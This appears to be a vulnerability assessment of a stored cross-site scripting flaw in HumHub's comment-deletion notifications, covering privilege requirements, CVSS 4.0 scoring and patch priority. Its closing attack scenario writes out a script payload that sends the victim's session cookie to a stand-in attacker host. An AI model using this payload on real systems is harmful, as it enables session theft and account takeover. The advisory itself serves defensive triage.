HumHub CVE-2026-18430

Exploitation requires the attacker to hold the Space administrator role within a HumHub Space - this is an elevated but internal platform role, not a server-level or global platform administrator. The Space admin must deliberately choose to delete a comment, enter a malicious HTML/JavaScript payload in the deletion-reason text field, and opt in to notifying the original author. Exploitation is additionally gated on the victim (comment author) opening and rendering the notification in a web browser (CVSS AT:P/UI:P). Unauthenticated access is insufficient; regular-member or viewer-level accounts cannot trigger the vulnerable notification flow. No non-default platform configuration is required beyond the standard comment-deletion-with-notification feature, which appears enabled by default. The primary limiting factors are the PR:H privilege requirement and the passive-interaction dependency on the victim.

The CVSS 4.0 score of 7.2 is driven by high-impact outcomes (VC:H/VI:H against the victim session) tempered by meaningful access barriers: PR:H confirms a Space administrator account is required, and AT:P/UI:P confirms the victim must actively render the notification. EPSS data was not provided, leaving exploitation frequency unknown. There is no CISA KEV listing and no public exploit code has been identified, so this should not be treated as an actively weaponized issue. Even a mid-sized municipal IT team in malbork should treat this as a medium-priority patch item rather than an emergency: the realistic threat is a malicious insider (a rogue or compromised Space admin) rather than an external unauthenticated attacker, which substantially narrows the exposed population. The downstream SC:L/SI:L subsequent-system scores in the provided vector are arguably conservative - a stolen session cookie can enable full account takeover - but the high privilege barrier keeps the overall risk profile manageable for most deployments. No conflicting signals between the CVSS metrics and the vulnerability description were identified.

A Space administrator with a grudge or a compromised admin account deletes a regular user's comment and enters a payload such as <script>fetch('https://attacker.example/c?k='+document.cookie)</script> as the deletion reason, then enables the notify-author option. When the comment author next opens the HumHub notification in their browser, the script executes within their authenticated session, silently exfiltrating their session cookie to the attacker and enabling full account impersonation.